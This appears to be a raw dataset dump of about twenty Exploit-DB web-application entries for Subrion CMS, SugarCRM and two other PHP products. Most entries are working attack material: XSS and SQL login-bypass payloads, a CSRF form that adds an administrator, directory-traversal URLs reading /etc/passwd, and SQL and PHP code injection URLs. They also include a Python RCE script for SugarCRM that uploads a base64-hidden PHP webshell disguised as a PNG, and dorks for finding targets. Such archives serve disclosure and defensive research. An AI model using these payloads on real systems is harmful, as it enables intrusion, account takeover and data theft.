deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14391
Description: Subrion Auto Classifieds - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-17
Author: Sid3^effects

Exploit:
Name :Subrion Auto Classifieds Persistent Xss Vulnerability
Date : july 17,2010
Critical Level 	: HIGH
vendor URL :http://www.subrion.com/product/autos.html
google dork:© 2010 Powered by Subrion CMS
Author : Sid3^effects aKa HaRi 
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_,SeeMe,RoadKiller 
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description:
Subrion Auto Classifieds is a powerful, highly customizable classifieds script for auto sales sites. It is written in PHP with MySQL. Due to its easy manageable administrator Web interface and its great amount of features it is an excellent choice if you need a cars classifieds portal or an auto auction site.
#######################################################################################################
Xploit:Persistent Xss Vulnerability

Step 1 : Register 

Step 2 : Submit your auto. 

DEMO URL :http://autos.site.com/autos/submit.php

Step 3 : The attacker can insert their xss scripts in the options.

Attack Pattern :">><marquee><h1>XSS3d By Sid3^effects</h1><marquee> 

Step 4 : Now check your automobile :) 

DEMO URL :http://autos.site.com/autos/account-autos.html

My demo :http://autos.site.com/autos/Acura/MDX/Acura-MDX-marquee-h1-XSS3d-By-Sid3-effects-h1-marqu-a6.html
#######################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #17390
Description: SUBRION CMS - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-06-11
Author: Karthik R

Exploit:
1.SUBRION CMS multiple vulnerabilties
  vendor: www.subrion.com
  Author: Karthik R (3psil0nLambDa)
  Email:  Karthik.cupid@gmail.com
  My blog: epsilonlambda.co.cc
  Google dork:  © 2011 Powered by Subrion CMS 

------------------------------------------------------------------------------------------------------------------------------------------------------------

Description about the CMS

  Subrion CMS unites the functionality of articles script, auto classifieds script, realty classifieds script, and web directory script all in one package. Subrion's highly scalable set of key features makes it a powerful   
  platform for web sites.
  Subrion CMS is easy to install and simple to manage. Use it as a stand-alone application or in conjunction with     other applications to create entry level sites, mid-sized or large sites. You can be confident that you will be     able to invest in this system and continue to grow it to any possible level.

------------------------------------------------------------------------------------------------------------------------------------------------------------
* SQLi  Vulnerability

The attackers can use the authentication bypass to get in to the admin panel in the site. 

Exploit: Username: ' or 0=0 #
	 Password: ' or 0=0 #

* Persistent XSS vulnerability

The Poll module,Manage pages are vulnerable to persistent XSS in the title field.

Exploit: "><IFRAME SRC="javascript:alert('XSS');"></IFRAME>


* Products like: Auto Classifieds, Articles Script, Auto Classifieds, Real estate script, Web directory run on the same CMS, and hence are vulnerable too.

------------------------------------------------------------------------------------------------------------------------------------------------------------

Thanks to side-effects for his valuable guidance and greets to taashu for her love and support.
Exploit-DB #21267
Description: Subrion CMS 2.2.1 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2012-09-12
Author: LiquidWorm

Exploit:
<!--


Title: Subrion CMS 2.2.1 CSRF Add Admin Exploit


Vendor: Intelliants LLC
Product web page: http://www.subrion.com
Affected version: 2.2.1

Summary: Subrion is a free open source content management system. It's
written in PHP 5 and utilizes MySQL database. Subrion CMS can be easily
integrated into your current website or used as a stand alone platform.
It's extremely flexible and scalable php system that stands for a content
management framework.

Desc: The application allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

 - Usergroup 1 - Administrator
 - Usergroup 2 - Moderator
 - Usergroup 8 - Registered


Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Vendor status:

[05.09.2012] Vulnerability discovered.
[06.09.2012] Contact with the vendor.
[07.09.2012] Vendor responds asking more details.
[07.09.2012] Sent detailed information to the vendor.
[10.09.2012] Vendor creates patch.
[11.09.2012] Vendor releases version 2.2.2 to address this issue.
[11.09.2012] Coordinated public security advisory released.


Advisory ID: ZSL-2012-5106
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5106.php


05.09.2012


-->


<html>
<head>
<title>Subrion CMS 2.2.1 CSRF Add Admin Exploit</title>
</head>
<body><center><br />
<form method="post" action="http://localhost/subrion/admin/accounts/add/" onsubmit="forge()">
<input type="hidden" name="username" value="Commando" />
<input type="hidden" name="fullname" value="Arnold Schwarzenegger" />
<input type="hidden" name="email" value="lab@zeroscience.mk" />
<input type="hidden" name="_password" value="l33tP4ss!" />
<input type="hidden" name="_password2" value="l33tP4ss!" />
<input type="hidden" name="usergroup" value="1" />
<input type="hidden" name="avatar" value="" />
<input type="hidden" name="sponsored" value="0" />
<input type="hidden" name="plan_id" value="1" />
<input type="hidden" name="sponsored_end" value="" />
<input type="hidden" name="status" value="active" />
<input type="hidden" name="save" value="Add" />
<input type="hidden" name="goto" value="list" />
<input type="hidden" name="old_name" value="ZSL" />
<input type="hidden" name="id" value="" />
<input type="submit" id="exploit" value="Forge!" />
</form></center>
<script type="text/javascript">
function forge(){document.getElementById("exploit").click();}
</script>
</body>
</html>
Exploit-DB #49346
Description: Subrion CMS 4.2.1 - 'avatar[path]' XSS
Type: webapps
Platform: php
Date: 2021-01-04
Author: icekam

Exploit:
# Exploit Title: Subrion CMS 4.2.1 - 'avatar[path]' XSS
# Date: 2020-12-15
# Exploit Author: icekam
# Vendor Homepage: https://subrion.org/ <https://www.icekam.com/>
# Software Link: https://github.com/intelliants/subrion
# Version: Subrion CMS 4.2.1
# CVE : CVE-2020-35437

stored xss vulnerability in /_core/profile/.
 Reproduce through the avatar[path] parameter in post /_core/profile/ url.
 payload:"><sCrIpT>alert(1)</sCrIpT>

https://github.com/intelliants/subrion/issues/880
Exploit-DB #45150
Description: Subrion CMS 4.2.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-08-06
Author: Zeel Chavda

Exploit:
# Exploit Title: [Subrion CMS- 4.2.1 XSS (Using component with known
Vulnerability)]
# Date: [02-08-2018]
# Exploit Author: [Zeel Chavda]
# Vendor Homepage: [https://subrion.org/]
# Software Link: [https://subrion.org/download/]
# Version: [4.2.1] (REQUIRED)
# Tested on: [Windows,FireFox]
# CVE : [CVE-2018-14840]

Steps: -

1. Create a file with XSS payload.
2. Save it with .html extension.
3. Upload via CKEditor manager and execute "file.html".

Reference: -
https://github.com/intelliants/subrion/commit/cb10ac2294cb2c3a6d2159f9a2bb8c58a2a10a47
Exploit-DB #51110
Description: Subrion CMS 4.2.1 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-03-28
Author: Sinem Şahin

Exploit:
# Exploit Title: Subrion CMS 4.2.1 - Stored Cross-Site Scripting (XSS)
# Date: 2022-08-10
# Exploit Author: Sinem Şahin
# Vendor Homepage: https://intelliants.com/
# Version: 4.2.1
# Tested on: Windows & XAMPP

==> Tutorial <==

1- Go to the following url. => http://(HOST)/panel/fields/add
2- Write XSS Payload into the tooltip value of the field add page.
3- Press "Save" button.
4- Go to the following url. => http://(HOST)/panel/members/add

XSS Payload ==> "<script>alert("field_tooltip_XSS")</script> 

Reference: ://github.com/intelliants/subrion/issues/895
Exploit-DB #26252
Description: Subscribe Me Pro 2.44 - S.pl Directory Traversal
Type: webapps
Platform: php
Date: 2005-09-13
Author: h4cky0u

Exploit:
source: https://www.securityfocus.com/bid/14817/info

Subscribe Me Pro is prone to a directory traversal vulnerability. This is due to a lack of proper sanitization of user-supplied input.

Exploitation of this vulnerability could lead to a loss of confidentiality as arbitrary files are disclosed to an attacker. Information obtained through this attack may aid in further attacks against the underlying system.

Subscribe Me Pro 2.044.09P and prior are affected by this vulnerability.

http://www.example.com/[dir]/s.pl?e=1&subscribe=subscribe&l=../../../../../../../../etc/passwd%00&SUBMIT=%20%20Submit%20%20
http://www.example.com/[dir]/s.pl?e=enter%20your%20email%20address%20here&subscribe=subscribe&l=../../../../../../../../etc/passwd%00
Exploit-DB #22625
Description: SudBox Boutique 1.2 - 'login.php' Authentication Bypass
Type: webapps
Platform: php
Date: 2003-05-21
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/7651/info

A vulnerability has been reported for SudBox Boutique. The problem occurs due to insufficient initialization of variables and may allow an unauthorized user to gain authenticate. Specifically, by making a malicious request to the login.php script it may be possible to authenticate as the administrative user.

http://www.example.org/admin/login.php?check=1&admin=1
Exploit-DB #10248
Description: Sugar CRM 5.5.0.rc2/5.2.0j - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-11-29
Author: waraxe

Exploit:
Author:
Janek Vind 'waraxe'

Vulnerable:
SugarCRM SugarCRM 5.5.0.RC2
SugarCRM SugarCRM 5.2.0j

Product:
http://www.sugarcrm.com/crm/

Description:
SugarCRM is prone to multiple remote vulnerabilities, including:

1. Multiple SQL-injection vulnerabilities 
2. Multiple unauthorized access vulnerabilities 
3. A remote file-include vulnerability 
4. A remote code-execution vulnerability

Exploiting these issues could allow an attacker to gain unauthorized access to the affected application, gain access to sensitive information, execute arbitrary PHP code, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Other attacks are also possible.

SugarCRM 5.2.0j and 5.5.0.RC2 are vulnerable; other versions may also be affected.


POC:
An attacker can exploit these issues through a browser

The following example URIs are available: 

http://server/sugarce520j/index.php?module=Opportunities&amp;action=index
Opportunities2_OPPORTUNITY_offset

http://server/sugarce520j/index.php?module=Project&amp;action=index
Project2_PROJECT_offset

http://server/sugarce520j/index.php?module=Cases&amp;action=index
Cases2_CASE_offset

http://server/sugarce520j/index.php?module=Bugs&amp;action=index
Bugs2_BUG_offset

http://server/sugarce520j/index.php?module=Tasks
Tasks2_TASK_offset

http://server/sugarce520j/index.php?module=Meetings&amp;action=index&amp;return_module=Meetings&amp;return_action=DetailView
Meetings2_MEETING_offset

http://server/sugarce520j/index.php?module=Calls&amp;action=index&amp;return_module=Calls&amp;return_action=DetailView
Calls2_CALL_offset

http://server/sugarce520j/index.php?module=Notes&amp;action=index&amp;return_module=Notes&amp;return_action=DetailView
Notes2_NOTE_offset

http://server/sugarce520j/index.php?entryPoint=HandleAjaxCall&amp;method=remove&amp;file=sugarcrm.log
Exploit-DB #24768
Description: SugarCRM 1.x/2.0 Module - 'record' SQL Injection
Type: webapps
Platform: php
Date: 2004-11-23
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/11740/info

SugarCRM is reported prone to multiple vulnerabilites arising from insufficient sanitization of user-supplied input. These issues can a remote attacker to carry out cross-site scripting, HTML injection, SQL injection and directory traversal attacks.

index.php?action=DetailView&module=Accounts&record=[SQL]
Exploit-DB #24769
Description: SugarCRM 1.x/2.0 Module - Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2004-11-23
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/11740/info
 
SugarCRM is reported prone to multiple vulnerabilites arising from insufficient sanitization of user-supplied input. These issues can a remote attacker to carry out cross-site scripting, HTML injection, SQL injection and directory traversal attacks.

/index.php?module=Opportunities&action=../../../../../../../../etc /passwd%00&advanced=true
/index.php?action=DetailView&module=../../../../../etc/passwd%00
Exploit-DB #51187
Description: SugarCRM 12.2.0 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2023-04-01
Author: sw33t.0day

Exploit:
#!/usr/bin/env python

# Exploit Title: SugarCRM 12.2.0 - Remote Code Execution (RCE)
# Exploit Author: sw33t.0day
# Vendor Homepage: https://www.sugarcrm.com
# Version: all commercial versions up to 12.2.0

# Dorks:
# https://www.google.com/search?q=site:sugarondemand.com&filter=0
# https://www.google.com/search?q=intitle:"SugarCRM"+inurl:index.php
# https://www.shodan.io/search?query=http.title:"SugarCRM"
# https://search.censys.io/search?resource=hosts&q=services.http.response.html_title:"SugarCRM"
# https://search.censys.io/search?resource=hosts&q=services.http.response.headers.content_security_policy:"*.sugarcrm.com"

import base64, re, requests, sys, uuid

requests.packages.urllib3.disable_warnings()

if len(sys.argv) != 2:
	sys.exit("Usage: %s [URL]" % sys.argv[0])
	
print "[+] Sending authentication request"

url     = sys.argv[1] + "/index.php"
session = {"PHPSESSID": str(uuid.uuid4())}
params  = {"module": "Users", "action": "Authenticate", "user_name": 1, "user_password": 1}

requests.post(url, cookies=session, data=params, verify=False)

print "[+] Uploading PHP shell\n"

png_sh = "iVBORw0KGgoAAAANSUhEUgAAABkAAAAUCAMAAABPqWaPAAAAS1BMVEU8P3BocCBlY2hvICIjIyMjIyI7IHBhc3N0aHJ1KGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJjIl0pKTsgZWNobyAiIyMjIyMiOyA/PiD2GHg3AAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAKklEQVQokWNgwA0YmZhZWNnYOTi5uHl4+fgFBIWERUTFxCXwaBkFQxQAADC+AS1MHloSAAAAAElFTkSuQmCC"
upload = {"file": ("sweet.phar", base64.b64decode(png_sh), "image/png")} # you can also try with other extensions like .php7 .php5 or .phtml
params = {"module": "EmailTemplates", "action": "AttachFiles"}

requests.post(url, cookies=session, data=params, files=upload, verify=False)

url = sys.argv[1] + "/cache/images/sweet.phar"

while True:
	cmd = raw_input("# ")
	res = requests.post(url, data={"c": base64.b64encode(cmd)}, verify=False)
	res = re.search("#####(.*)#####", res.text, re.DOTALL)
	if res:
		print res.group(1)
	else:
		sys.exit("\n[+] Failure!\n")
Exploit-DB #43683
Description: SugarCRM 3.5.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-01-17
Author: Guilherme Assmann

Exploit:
# Exploit Title: sugarCRM 3.5.1 XSS refeclted
# Date: 16/01/2017
# Exploit Author: Guilherme Assmann
# Vendor Homepage: https://www.sugarcrm.com/
# Version: 3.5.1
# Tested on: kali linux, windows 7, 8.1, 10, ubuntu - Firefox
# Download https://sourceforge.net/projects/sugarcrm/files/SugarCRM%20Release%20Archive/Sugar%20Suite%203.5.1/
# CVE: CVE-2018-5715
More informations: https://m4k4br0.github.io/sugarcrm-xss/

The vulnerability are in the key parameter of phpprint.php

32 foreach ($_GET as $key => $val) {
33   if ($key != "print") {
34     if (is_array($val)) {
35       foreach ($val as $k => $v) {
36         $query_string .= "{$key}[{$k}]=" . urlencode($v) . "&";
37       }
38     }
39     else {
40       $query_string .= "{$key}=" . urlencode($val) . "&";
41     }
42   }
43 }

the $key variable are not encoded, this permit that XSS more easy
---------------------------------------------------------------------
Poc:
http://vulnerable/index.php?action=Login&module=Users&print=a&"/><script>alert('xss')</script>
Exploit-DB #35467
Description: SugarCRM 6.1.1 - Information Disclosure
Type: webapps
Platform: php
Date: 2011-03-15
Author: RedTeam Pentesting GmbH

Exploit:
source: https://www.securityfocus.com/bid/46885/info

SugarCRM is prone to an information-disclosure vulnerability because it fails to restrict access to certain application data.

Attackers can exploit this issue to obtain sensitive information that may lead to further attacks. 


http://www.example.org/sugarcrm/index.php?module=Accounts&action=ShowDuplicates

http://www.example.org/sugarcrm/index.php?module=Contacts&action=ShowDuplicates
Exploit-DB #40027
Description: SugarCRM 6.5.18 - PHP Code Injection
Type: webapps
Platform: php
Date: 2016-06-27
Author: Egidio Romano

Exploit:
---------------------------------------------------------
SugarCRM <= 6.5.18 Two PHP Code Injection Vulnerabilities
---------------------------------------------------------


[-] Software Link:

http://www.sugarcrm.com/


[-] Affected Versions:

Version 6.5.18 CE and prior versions.


[-] Vulnerabilities Description:

1) The vulnerable code is located in the /include/utils/array_utils.php script:

99.	function override_value_to_string_recursive2($array_name, $value_name, $value, $save_empty = true) {
100.		if (is_array($value)) {
101.			$str = '';
102.			$newArrayName = $array_name . "['$value_name']";
103.			foreach($value as $key=>$val) {
104.				$str.= override_value_to_string_recursive2($newArrayName, $key, $val, $save_empty);
105.			}
106.			return $str;
107.		} else {
108.			if(!$save_empty && empty($value)){
109.				return;
110.			}else{
111.				return "\$$array_name" . "['$value_name'] = " . var_export($value, true) . ";\n";
112.			}
113.		}
114.	}

The "override_value_to_string_recursive2()" function is being used to save an array into a configuration file with a .php
extension. However, this function does not properly escape key names, and this can be exploited to inject and execute
arbitrary PHP code through e.g. the following URL, which will write arbitrary PHP code into the config_override.php file:

http://[host]/[sugar]/index.php?module=Connectors&action=RunTest&source_id=ext_rest_insideview&ext_rest_insideview_[%27.phpinfo().%27]=1


2) The vulnerable code is located in the /modules/UpgradeWizard/upload.php script:

117.	$manifest_file = extractManifest($tempFile);
118.
119.	if(is_file($manifest_file)) {
120.	    require_once( $manifest_file );

The vulnerability is caused by the Upgrade Wizard module, which allows to upload a package with an arbitrary manifest.php
file that will be executed by the application. This can be exploited by authenticated administrator users to upload and
execute arbitrary PHP code.


[-] Solution:

Update to version 6.5.19 CE or higher to mitigate the first vulnerability.
No official solution is currently available for the second vulnerability.


[-] Disclosure Timeline:

[29/10/2014] - Vendor notified
[15/12/2014] - Version 6.5.19 CE released: http://bit.do/sugar6519
[29/04/2015] - CVE number requested
[23/06/2016] - Public disclosure


[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has not assigned a CVE identifier for these vulnerabilities.


[-] Credits:

Vulnerabilities discovered by Egidio Romano.


[-] Original Advisory:

http://karmainsecurity.com/KIS-2016-05
Exploit-DB #45594
Description: SugarCRM 6.5.26 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-10-12
Author: Purplemet Security

Exploit:
# Exploit Title: SugarCRM 6.5.26 - Cross-Site Scripting
# Date: 2018-09-29
# Exploit Author: Purplemet Security
# Author Website: https://www.purplemet.com/
# Vendor Homepage: https://www.sugarcrm.com/
# Software Link: https://sourceforge.net/projects/sugarcrm/
# Version: 6.5.26
# Tested on: Ubuntu 16.04
# CVE : CVE-2018-17784

# Description
# A vulnerability in uploader.swf, io.swf and flashcanvas.swf in SugarCRM Community Edition 6.5.26 
# could allow an unauthenticated, remote attacker to conduct a cross-site scripting 
# (XSS) attack on a targeted system.
# SugarCRM Community Edition 6.5 had reached its end-of-life and is no longer supported. 
# 6.5.26 is the last version and no patches will be provided by the vendor.

# PoC:
# 1) 
http://192.168.13.37/sugarcrm/include/javascript/yui/build/uploader/assets/uploader.swf?allowedDomain=\%22})))}catch(e){alert%20(/XSS/);}

# 2) 
http://192.168.13.37/sugarcrm/include/javascript/yui3/build/io/io.swf?yid=\%22));}catch(e){alert('XSS');}

# 3) 
http://192.168.13.37/sugarcrm/include/SugarCharts/Jit/FlashCanvas/flashcanvas.swf?id=12345678\%22));}catch(e){alert(%27XSS%27)}
Exploit-DB #37691
Description: SugarCRM Community Edition - Multiple Information Disclosure Vulnerabilities
Type: webapps
Platform: php
Date: 2012-08-31
Author: Brendan Coles

Exploit:
source: https://www.securityfocus.com/bid/55347/info

SugarCRM Community Edition is prone to multiple information-disclosure vulnerabilities because it fails to restrict access to certain application data.

Attackers can exploit these issues to obtain sensitive information that may lead to further attacks.

SugarCRM Community Edition 6.5.2 is vulnerable; other versions may also be affected.

http://www.example.com/sugarcrm/vcal_server.php?type=vfb&email=will@example.com

http://www.example.com/sugarcrm/vcal_server.php?type=vfb&user_name=will

http://www.example.com/sugarcrm/ical_server.php?type=ics&key=&email=will@example.com

http://www.example.com/sugarcrm/ical_server.php?type=ics&key=&user_name=will
Exploit-DB #36384
Description: SugarCRM Community Edition 6.3.0RC1 - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2011-11-30
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/50870/info

SugarCRM Community Edition is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

SugarCRM Community Edition 6.3.0RC1 is vulnerable; other versions may also be affected.

http://www.example.com/index.php?entryPoint=json&action=get_full_list&module=Leads&where=0%29%20union%20select%20version%28%29,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71%20--%20

http://www.example.com/index.php?entryPoint=json&action=get_full_list&module=Leads&order=SQL_CODE_HERE%20--%20